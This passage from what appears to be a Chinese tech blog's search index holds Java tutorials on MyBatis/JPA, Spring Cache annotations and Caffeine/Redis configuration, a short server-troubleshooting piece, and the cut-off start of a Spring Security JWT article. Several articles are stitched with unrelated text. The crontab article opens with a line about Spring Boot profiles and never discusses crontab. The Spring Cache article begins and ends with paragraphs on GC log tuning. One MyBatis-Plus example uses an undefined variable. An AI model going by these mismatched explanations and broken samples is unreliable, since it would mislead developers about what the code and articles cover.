&#123;</span><br><span class="line">        <span class="keyword">return</span> userMapper.selectById(id);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> List&lt;User&gt; <span class="title function_">searchUsers</span><span class="params">(String username, Integer status)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userMapper.selectByCondition(username, status);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="MyBatis-Plus（增强）"><a href="#MyBatis-Plus（增强）" class="headerlink" title="MyBatis-Plus（增强）"></a>MyBatis-Plus（增强）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Mapper</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> <span class="keyword">extends</span> <span class="title class_">BaseMapper</span>&lt;User&gt; &#123;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> <span class="keyword">extends</span> <span class="title class_">ServiceImpl</span>&lt;UserMapper, User&gt; &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> List&lt;User&gt; <span class="title function_">getActiveUsers</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> lambdaQuery()</span><br><span class="line">            .eq(User::getStatus, <span class="number">1</span>)</span><br><span class="line">            .like(StringUtils.isNotBlank(name), User::getUsername, name)</span><br><span class="line">            .list();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> IPage&lt;User&gt; <span class="title function_">getUserPage</span><span class="params">(<span class="type">int</span> current, <span class="type">int</span> size)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> page(<span class="keyword">new</span> <span class="title class_">Page</span>&lt;&gt;(current, size),</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">QueryWrapper</span>&lt;User&gt;().orderByDesc(<span class="string">&quot;create_time&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="选型建议"><a href="#选型建议" class="headerlink" title="选型建议"></a>选型建议</h2><table><thead><tr><th>场景</th><th>推荐</th></tr></thead><tbody><tr><td>快速开发、CRUD 为主</td><td>JPA / MyBatis-Plus</td></tr><tr><td>复杂 SQL、性能敏感</td><td>MyBatis</td></tr><tr><td>多表关联、对象关系复杂</td><td>JPA</td></tr><tr><td>遗留系统、SQL 已存在</td><td>MyBatis</td></tr><tr><td>团队熟悉 SQL</td><td>MyBatis</td></tr><tr><td>团队熟悉 Hibernate</td><td>JPA</td></tr><tr><td>需要数据库无关性</td><td>JPA</td></tr></tbody></table><h2 id="混合使用"><a href="#混合使用" class="headerlink" title="混合使用"></a>混合使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> OrderRepository orderRepository;  <span class="comment">// JPA</span></span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> ReportMapper reportMapper;        <span class="comment">// MyBatis</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Order <span class="title function_">getOrder</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> orderRepository.findById(id).orElse(<span class="literal">null</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> List&lt;Map&lt;String, Object&gt;&gt; <span class="title function_">getReport</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> reportMapper.selectComplexReport();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><ul><li><strong>JPA</strong>：适合面向对象、快速开发、简单查询的场景</li><li><strong>MyBatis</strong>：适合复杂 SQL、性能优化、遗留系统的场景</li><li><strong>MyBatis-Plus</strong>：在 MyBatis 基础上提供 CRUD 便利，兼顾灵活性和效率</li></ul><p>实际项目中，可以根据模块特点选择不同的持久层方案，甚至混合使用。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>crontab 定时任务从配置到排查</title>
      <link href="//crontab-ding-shi-ren-wu-cong-pei-zhi-dao-pai-cha/"/>
      <url>//crontab-ding-shi-ren-wu-cong-pei-zhi-dao-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="crontab-定时任务从配置到排查"><a href="#crontab-定时任务从配置到排查" class="headerlink" title="crontab 定时任务从配置到排查"></a>crontab 定时任务从配置到排查</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SpringCache缓存抽象层</title>
      <link href="//springcache-huan-cun-chou-xiang-ceng/"/>
      <url>//springcache-huan-cun-chou-xiang-ceng/</url>
      
        <content type="html"><![CDATA[<h1 id="SpringCache缓存抽象层"><a href="#SpringCache缓存抽象层" class="headerlink" title="SpringCache缓存抽象层"></a>SpringCache缓存抽象层</h1><p>GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。</p><h2 id="启用缓存"><a href="#启用缓存" class="headerlink" title="启用缓存"></a>启用缓存</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@EnableCaching</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CacheConfig</span> &#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="核心注解"><a href="#核心注解" class="headerlink" title="核心注解"></a>核心注解</h2><table><thead><tr><th>注解</th><th>作用</th></tr></thead><tbody><tr><td>@Cacheable</td><td>有缓存则返回，无缓存则执行方法并缓存</td></tr><tr><td>@CachePut</td><td>执行方法并更新缓存</td></tr><tr><td>@CacheEvict</td><td>清除缓存</td></tr><tr><td>@Caching</td><td>组合多个缓存操作</td></tr><tr><td>@CacheConfig</td><td>类级别共享缓存配置</td></tr></tbody></table><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><p>#</p><h2 id="Cacheable"><a href="#Cacheable" class="headerlink" title="@Cacheable"></a>@Cacheable</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Cacheable(value = &quot;users&quot;, key = &quot;#id&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="comment">// 只会在缓存不存在时执行</span></span><br><span class="line">        <span class="keyword">return</span> userDao.findById(id);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Cacheable(value = &quot;users&quot;, key = &quot;#username&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUserByUsername</span><span class="params">(String username)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userDao.findByUsername(username);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 多参数</span></span><br><span class="line">    <span class="meta">@Cacheable(value = &quot;users&quot;, key = &quot;#id + &#x27;_&#x27; + #type&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id, String type)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userDao.findByIdAndType(id, type);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 使用 root 对象</span></span><br><span class="line">    <span class="meta">@Cacheable(value = &quot;users&quot;, key = &quot;#root.methodName + &#x27;_&#x27; + #id&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUserV2</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userDao.findById(id);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 条件缓存</span></span><br><span class="line">    <span class="meta">@Cacheable(value = &quot;users&quot;, key = &quot;#id&quot;, condition = &quot;#id &gt; 0&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUserIfPositive</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userDao.findById(id);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">//  unless：结果不满足条件时缓存</span></span><br><span class="line">    <span class="meta">@Cacheable(value = &quot;users&quot;, key = &quot;#id&quot;, unless = &quot;#result == null&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUserUnlessNull</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userDao.findById(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="CachePut"><a href="#CachePut" class="headerlink" title="@CachePut"></a>@CachePut</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@CachePut(value = &quot;users&quot;, key = &quot;#user.id&quot;)</span></span><br><span class="line"><span class="keyword">public</span> User <span class="title function_">updateUser</span><span class="params">(User user)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> userDao.save(user);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="CacheEvict"><a href="#CacheEvict" class="headerlink" title="@CacheEvict"></a>@CacheEvict</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@CacheEvict(value = &quot;users&quot;, key = &quot;#id&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">deleteUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">    userDao.deleteById(id);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 清空整个缓存</span></span><br><span class="line"><span class="meta">@CacheEvict(value = &quot;users&quot;, allEntries = true)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">clearCache</span><span class="params">()</span> &#123;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 在方法前清除</span></span><br><span class="line"><span class="meta">@CacheEvict(value = &quot;users&quot;, key = &quot;#id&quot;, beforeInvocation = true)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">deleteUserBefore</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">    userDao.deleteById(id);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="Caching"><a href="#Caching" class="headerlink" title="@Caching"></a>@Caching</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Caching(</span></span><br><span class="line"><span class="meta">    put = &#123;</span></span><br><span class="line"><span class="meta">        @CachePut(value = &quot;users&quot;, key = &quot;#user.id&quot;),</span></span><br><span class="line"><span class="meta">        @CachePut(value = &quot;users&quot;, key = &quot;#user.username&quot;)</span></span><br><span class="line"><span class="meta">    &#125;,</span></span><br><span class="line"><span class="meta">    evict = &#123;</span></span><br><span class="line"><span class="meta">        @CacheEvict(value = &quot;userList&quot;, allEntries = true)</span></span><br><span class="line"><span class="meta">    &#125;</span></span><br><span class="line"><span class="meta">)</span></span><br><span class="line"><span class="keyword">public</span> User <span class="title function_">saveUser</span><span class="params">(User user)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> userDao.save(user);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="CacheConfig"><a href="#CacheConfig" class="headerlink" title="@CacheConfig"></a>@CacheConfig</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@CacheConfig(cacheNames = &quot;users&quot;)</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Cacheable(key = &quot;#id&quot;)</span>  <span class="comment">// 不需要写 value</span></span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userDao.findById(id);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@CacheEvict(key = &quot;#id&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">deleteUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        userDao.deleteById(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="缓存配置"><a href="#缓存配置" class="headerlink" title="缓存配置"></a>缓存配置</h2><p>#</p><h2 id="Caffeine-本地缓存"><a href="#Caffeine-本地缓存" class="headerlink" title="Caffeine 本地缓存"></a>Caffeine 本地缓存</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.github.ben-manes.caffeine<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>caffeine<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@EnableCaching</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CacheConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> CacheManager <span class="title function_">cacheManager</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">CaffeineCacheManager</span> <span class="variable">cacheManager</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CaffeineCacheManager</span>();</span><br><span class="line">        cacheManager.setCaffeine(Caffeine.newBuilder()</span><br><span class="line">            .maximumSize(<span class="number">1000</span>)</span><br><span class="line">            .expireAfterWrite(<span class="number">10</span>, TimeUnit.MINUTES)</span><br><span class="line">            .recordStats());</span><br><span class="line">        <span class="keyword">return</span> cacheManager;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="Redis-缓存"><a href="#Redis-缓存" class="headerlink" title="Redis 缓存"></a>Redis 缓存</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-data-redis<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@EnableCaching</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CacheConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> CacheManager <span class="title function_">cacheManager</span><span class="params">(RedisConnectionFactory factory)</span> &#123;</span><br><span class="line">        <span class="type">RedisCacheConfiguration</span> <span class="variable">config</span> <span class="operator">=</span> RedisCacheConfiguration.defaultCacheConfig()</span><br><span class="line">            .entryTtl(Duration.ofMinutes(<span class="number">30</span>))</span><br><span class="line">            .serializeKeysWith(</span><br><span class="line">                RedisSerializationContext.SerializationPair.fromSerializer(</span><br><span class="line">                    <span class="keyword">new</span> <span class="title class_">StringRedisSerializer</span>()))</span><br><span class="line">            .serializeValuesWith(</span><br><span class="line">                RedisSerializationContext.SerializationPair.fromSerializer(</span><br><span class="line">                    <span class="keyword">new</span> <span class="title class_">GenericJackson2JsonRedisSerializer</span>()));</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> RedisCacheManager.builder(factory)</span><br><span class="line">            .cacheDefaults(config)</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="多级缓存"><a href="#多级缓存" class="headerlink" title="多级缓存"></a>多级缓存</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@EnableCaching</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CacheConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Primary</span></span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> CacheManager <span class="title function_">cacheManager</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 本地缓存 Caffeine</span></span><br><span class="line">        <span class="type">CaffeineCacheManager</span> <span class="variable">localCache</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CaffeineCacheManager</span>();</span><br><span class="line">        localCache.setCaffeine(Caffeine.newBuilder()</span><br><span class="line">            .maximumSize(<span class="number">100</span>)</span><br><span class="line">            .expireAfterWrite(<span class="number">1</span>, TimeUnit.MINUTES));</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> localCache;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> CacheManager <span class="title function_">redisCacheManager</span><span class="params">(RedisConnectionFactory factory)</span> &#123;</span><br><span class="line">        <span class="comment">// Redis 缓存</span></span><br><span class="line">        <span class="keyword">return</span> RedisCacheManager.builder(factory).build();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Cacheable(value = &quot;users&quot;, cacheManager = &quot;cacheManager&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUserFromLocal</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userDao.findById(id);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Cacheable(value = &quot;users:redis&quot;, cacheManager = &quot;redisCacheManager&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUserFromRedis</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userDao.findById(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="SpEL-表达式"><a href="#SpEL-表达式" class="headerlink" title="SpEL 表达式"></a>SpEL 表达式</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Cacheable(value = &quot;users&quot;, key = &quot;#id&quot;)</span></span><br><span class="line"><span class="meta">@Cacheable(value = &quot;users&quot;, key = &quot;#user.id&quot;)</span></span><br><span class="line"><span class="meta">@Cacheable(value = &quot;users&quot;, key = &quot;#root.args[0]&quot;)</span></span><br><span class="line"><span class="meta">@Cacheable(value = &quot;users&quot;, key = &quot;T(java.util.Objects).hash(#id, #name)&quot;)</span></span><br><span class="line"><span class="meta">@Cacheable(value = &quot;users&quot;, key = &quot;&#x27;user_&#x27; + #id&quot;)</span></span><br><span class="line"><span class="meta">@Cacheable(value = &quot;users&quot;, keyGenerator = &quot;customKeyGenerator&quot;)</span></span><br></pre></td></tr></table></figure><h2 id="自定义-KeyGenerator"><a href="#自定义-KeyGenerator" class="headerlink" title="自定义 KeyGenerator"></a>自定义 KeyGenerator</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CustomKeyGenerator</span> <span class="keyword">implements</span> <span class="title class_">KeyGenerator</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">generate</span><span class="params">(Object target, Method method, Object... params)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> target.getClass().getSimpleName() + <span class="string">&quot;_&quot;</span> </span><br><span class="line">            + method.getName() + <span class="string">&quot;_&quot;</span> </span><br><span class="line">            + StringUtils.arrayToDelimitedString(params, <span class="string">&quot;_&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="缓存问题及解决"><a href="#缓存问题及解决" class="headerlink" title="缓存问题及解决"></a>缓存问题及解决</h2><p>#</p><h2 id="缓存穿透"><a href="#缓存穿透" class="headerlink" title="缓存穿透"></a>缓存穿透</h2><p><strong>问题</strong>：查询不存在的数据，每次都会打到数据库。</p><p><strong>解决</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Cacheable(value = &quot;users&quot;, key = &quot;#id&quot;, unless = &quot;#result == null&quot;)</span></span><br><span class="line"><span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> userDao.findById(id);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 或使用空值缓存</span></span><br><span class="line"><span class="meta">@Cacheable(value = &quot;users&quot;, key = &quot;#id&quot;)</span></span><br><span class="line"><span class="keyword">public</span> Optional&lt;User&gt; <span class="title function_">getUserOptional</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> Optional.ofNullable(userDao.findById(id));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="缓存击穿"><a href="#缓存击穿" class="headerlink" title="缓存击穿"></a>缓存击穿</h2><p><strong>问题</strong>：热点 key 过期，大量请求同时打到数据库。</p><p><strong>解决</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Cacheable(value = &quot;users&quot;, key = &quot;#id&quot;)</span></span><br><span class="line"><span class="meta">@DistributedLock(key = &quot;&#x27;lock:user:&#x27; + #id&quot;)</span></span><br><span class="line"><span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> userDao.findById(id);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="缓存雪崩"><a href="#缓存雪崩" class="headerlink" title="缓存雪崩"></a>缓存雪崩</h2><p><strong>问题</strong>：大量 key 同时过期。</p><p><strong>解决</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 随机过期时间</span></span><br><span class="line"><span class="meta">@Bean</span></span><br><span class="line"><span class="keyword">public</span> CacheManager <span class="title function_">cacheManager</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">CaffeineCacheManager</span> <span class="variable">manager</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CaffeineCacheManager</span>();</span><br><span class="line">    manager.setCaffeine(Caffeine.newBuilder()</span><br><span class="line">        .expireAfterWrite(<span class="number">10</span> + (<span class="type">int</span>)(Math.random() * <span class="number">5</span>), TimeUnit.MINUTES));</span><br><span class="line">    <span class="keyword">return</span> manager;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Spring Cache 简化了缓存的使用：</p><table><thead><tr><th>注解</th><th>场景</th></tr></thead><tbody><tr><td>@Cacheable</td><td>读缓存</td></tr><tr><td>@CachePut</td><td>写缓存</td></tr><tr><td>@CacheEvict</td><td>删缓存</td></tr><tr><td>@CacheConfig</td><td>类级配置</td></tr></tbody></table><p>结合 Caffeine（本地）和 Redis（分布式），可以构建高效的缓存层。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>关注 Minor GC 和 Full GC 的频率和耗时</p></li><li><p>年轻代晋升到老年代的对象大小和频率</p></li><li><p>GC 前后的内存使用变化</p></li><li><p>使用 jstat、jmap、jvisualvm 等工具辅助分析</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SpringSecurity JWT令牌实战</title>
      <link href="//springsecurity-jwt-ling-pai-shi-zhan/"/>
      <url>//springsecurity-jwt-ling-pai-shi-zhan/</url>
      
        <content type="html"><![CDATA[<h1 id="SpringSecurity-JWT令牌实战"><a href="#SpringSecurity-JWT令牌实战" class="headerlink" title="SpringSecurity JWT令牌实战"></a>SpringSecurity JWT令牌实战</h1><p>JWT（JSON Web Token）是前后端分离场景下最流行的认证方案。本文实现一套完整的 JWT 认证系统。</p><h2 id="项目结构"><a href="#项目结构" class="headerlink" title="项目结构"></a>项目结构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">src/main/java/com/example/</span><br><span class="line">├── config/</span><br><span class="line">│   └── SecurityConfig.java</span><br><span class="line">├── controller/</span><br><span class="line">│   └── AuthController.java</span><br><span class="line">├── dto/</span><br><span class="line">│   ├── LoginRequest.java</span><br><span class="line">│   └── TokenResponse.java</span><br><span class="line">├── entity/</span><br><span class="line">│   └── User.java</span><br><span class="line">├── filter/</span><br><span class="line">│   └── JwtAuthenticationFilter.java</span><br><span class="line">├── repository/</span><br><span class="line">│   └── UserRepository.java</span><br><span class="line">├── service/</span><br><span class="line">│   ├── AuthService.java</span><br><span class="line">│   └── CustomUserDetailsService.java</span><br><span class="line">└── util/</span><br><span class="line">    └── JwtUtil.java</span><br></pre></td></tr></table></figure><h2 id="依赖"><a href="#依赖" class="headerlink" title="依赖"></a>依赖</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependencies</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span 